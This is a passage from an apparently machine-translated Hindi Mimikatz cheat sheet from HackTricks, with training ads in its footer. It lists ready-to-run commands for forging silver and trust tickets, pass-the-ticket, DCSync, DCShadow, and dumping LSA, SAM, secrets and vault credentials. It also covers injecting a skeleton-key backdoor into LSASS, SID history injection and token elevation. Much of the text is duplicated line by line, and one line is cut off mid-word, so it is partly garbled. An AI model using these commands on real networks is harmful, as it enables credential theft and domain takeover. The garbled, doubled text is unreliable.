- अन्य पैरामीटर Golden Ticket के समान हैं
उदाहरण:
Example:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### विश्वास टिकट निर्माण
### Trust Ticket Creation
विश्वास टिकट को विश्वास संबंधों का उपयोग करके डोमेन के अधिकारों तक पहुंचने के लिए उपयोग किया जाता है। मुख्य कमांड और पैरामीटर:
Trust Tickets का उपयोग डोमेन के बीच संसाधनों तक पहुँचने के लिए विश्वास संबंधों का लाभ उठाने के लिए किया जाता है। मुख्य कमांड और पैरामीटर:
- कमांड: गोल्डन टिकट के समान, लेकिन विश्वास संबंधों के लिए।
- पैरामीटर:
- `/target`: लक्ष्य डोमेन का FQDN।
- `/rc4`: विश्वास खाते के एनटीएलएम हैश।
- Command: Golden Ticket के समान लेकिन विश्वास संबंधों के लिए।
- Parameters:
- `/target`: लक्षित डोमेन का FQDN।
- `/rc4`: ट्रस्ट खाते के लिए NTLM हैश।
उदाहरण:
Example:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### अतिरिक्त कर्बेरोस कमांड
### अतिरिक्त Kerberos कमांड
- **टिकट सूचीकरण**:
- **टिकटों की सूची**:
- कमांड: `kerberos::list`
- वर्तमान उपयोगकर्ता सत्र के लिए सभी कर्बेरोस टिकट सूचीबद्ध करता है।
- वर्तमान उपयोगकर्ता सत्र के लिए सभी Kerberos टिकटों की सूची बनाता है।
- **कैश पास**:
- **कैश पास करें**:
- कमांड: `kerberos::ptc`
- कैश फ़ाइल से कर्बेरोस टिकट इंजेक्ट करता है।
- कैश फ़ाइलों से Kerberos टिकटों को इंजेक्ट करता है।
- उदाहरण: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **टिकट पास**:
- **टिकट पास करें**:
- कमांड: `kerberos::ptt`
- एक अन्य सत्र में कर्बेरोस टिकट का उपयोग करने देता है।
- किसी अन्य सत्र में Kerberos टिकट का उपयोग करने की अनुमति देता है।
- उदाहरण: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **टिकट सफाई**:
- **टिकटों को हटाएं**:
- कमांड: `kerberos::purge`
- सत्र से सभी कर्बेरोस टिकट साफ करता है।
- संघर्ष से बचने के लिए टिकट मानिपुलेशन कमांड का उपयोग करने से पहले उपयोगी है।
- सत्र से सभी Kerberos टिकटों को साफ करता है।
- टिकट हेरफेर कमांड का उपयोग करने से पहले संघर्षों से बचने के लिए उपयोगी।
### सक्रिय निर्देशिका छेड़छाड़
- **DCShadow**: AD ऑब्जेक्ट हेरफेर के लिए एक मशीन को अस्थायी रूप से DC के रूप में कार्य करने के लिए बनाएं।
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: पासवर्ड डेटा का अनुरोध करने के लिए एक DC की नकल करें।
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### क्रेडेंशियल एक्सेस
- **LSADUMP::LSA**: LSA से क्रेडेंशियल निकालें।
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: एक कंप्यूटर खाते के पासवर्ड डेटा का उपयोग करके DC का अनुकरण करें।
- *NetSync के लिए मूल संदर्भ में कोई विशिष्ट कमांड प्रदान नहीं की गई है।*
- **LSADUMP::SAM**: स्थानीय SAM डेटाबेस तक पहुँचें।
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: रजिस्ट्री में संग्रहीत रहस्यों को डिक्रिप्ट करें।
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: एक उपयोगकर्ता के लिए नया NTLM हैश सेट करें।
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: ट्रस्ट प्रमाणीकरण जानकारी प्राप्त करें।
- `mimikatz "lsadump::trust" exit`
### विविध
- **MISC::Skeleton**: DC पर LSASS में एक बैकडोर इंजेक्ट करें।
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### विशेषाधिकार वृद्धि
- **PRIVILEGE::Backup**: बैकअप अधिकार प्राप्त करें।
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: डिबग विशेषाधिकार प्राप्त करें।
- `mimikatz "privilege::debug" exit`
### क्रेडेंशियल डंपिंग
- **SEKURLSA::LogonPasswords**: लॉग इन उपयोगकर्ताओं के लिए क्रेडेंशियल दिखाएं।
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: मेमोरी से Kerberos टिकट निकालें।
- `mimikatz "sekurlsa::tickets /export" exit`
### सिड और टोकन हेरफेर
- **SID::add/modify**: SID और SIDHistory बदलें।
- जोड़ें: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- संशोधित करें: *मूल संदर्भ में संशोधन के लिए कोई विशिष्ट कमांड नहीं है।*
- **TOKEN::Elevate**: टोकनों का अनुकरण करें।
- `mimikatz "token::elevate /domainadmin" exit`
### टर्मिनल सेवाएँ
- **TS::MultiRDP**: कई RDP सत्रों की अनुमति दें।
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: TS/RDP सत्रों की सूची बनाएं।
- *मूल संदर्भ में TS::Sessions के लिए कोई विशिष्ट कमांड प्रदान नहीं की गई है।*
### वॉल्ट
- Windows वॉल्ट से पासवर्ड निकालें।
- `mimikatz "vault::cred /patch" exit`
### सक्रिय निर्देशिका दुरुपयोग
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
- **DCShadow**: एक मशीन को अस्थायी रूप से एक डीसी के रूप में काम करने के लिए एडी ऑब्ज
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}